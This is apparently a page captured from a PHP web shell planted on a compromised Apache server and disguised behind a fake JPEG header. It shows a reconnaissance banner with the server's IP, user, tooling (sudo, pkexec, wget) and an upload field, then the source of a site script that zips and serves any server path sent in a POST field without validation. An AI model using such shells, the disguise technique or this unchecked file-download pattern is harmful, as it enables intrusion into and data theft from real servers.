????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.57 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/customerzon/ |
Upload File : |
<?php
function addFolderToZip($dir, $zipArchive){
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
//Add the directory
$zipArchive->addEmptyDir($dir);
// Loop through all the files
while (($file = readdir($dh)) !== false) {
//If it's a folder, run the function again!
if(!is_file($dir . $file)){
// Skip parent and root directories
if( ($file !== ".") && ($file !== "..")){
addFolderToZip($dir . $file . "/", $zipArchive);
}
}else{
// Add the files
$zipArchive->addFile($dir . $file);
}
}
}
}
}
function Zip($source, $zip, $include_dir = false)
{
$source = str_replace('\\', '/', realpath($source));
if (is_dir($source) === true)
{
$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
if ($include_dir) {
$arr = explode("/",$source);
$maindir = $arr[count($arr)- 1];
$source = "";
for ($i=0; $i < count($arr) - 1; $i++) {
$source .= '/' . $arr[$i];
}
$source = substr($source, 1);
$zip->addEmptyDir(utf8_encode($maindir));
}
foreach ($files as $file)
{
$file = str_replace('\\', '/', $file);
// Ignore "." and ".." folders
if( in_array(substr($file, strrpos($file, '/')+1), array('.', '..')) )
continue;
$file = realpath($file);
if (is_dir($file) === true)
{
$zip->addEmptyDir(utf8_encode(str_replace($source . '/', '', $file . '/')));
}
else if (is_file($file) === true)
{
$zip->addFromString(utf8_encode(str_replace($source . '/', '', $file)), file_get_contents($file));
}
}
}
else if (is_file($source) === true)
{
$zip->addFromString(utf8_encode(basename($source)), file_get_contents($source));
}
//return $zip->close();
}
$zipname = "Download_".date("Y-m-d_H-i-s").".zip";
$zipfile = new ZipArchive();
$zipfile->open("ZIP/".$zipname, ZIPARCHIVE::CREATE);
$hobby = $_POST['selectedfiles'];
foreach ($hobby as $hobys=>$value) {
$fileonserver = $value;
$fileonserver = str_replace("//","/", $fileonserver);
$fileonserver = str_replace("//","/", $fileonserver);
if(is_dir($fileonserver)){
//folderToZip($fileonserver, $zipfile);
//addFolderToZip($fileonserver,$zipfile);
Zip($fileonserver, $zipfile,true);
//echo( $fileonserver."<br>");
}else{
$filename = substr(strrchr($fileonserver, "/"), 1);
$zipfile -> addFile($fileonserver,utf8_encode($filename));
//echo( $fileonserver."<br>");
}
}
$zipfile->close();
header("Content-type: application/zip");
header("Content-Disposition: attachment; filename=$zipname");
header("Content-length: " . filesize("ZIP/".$zipname));
header("Pragma: no-cache");
header("Expires: 0");
readfile("ZIP/$zipname");
?>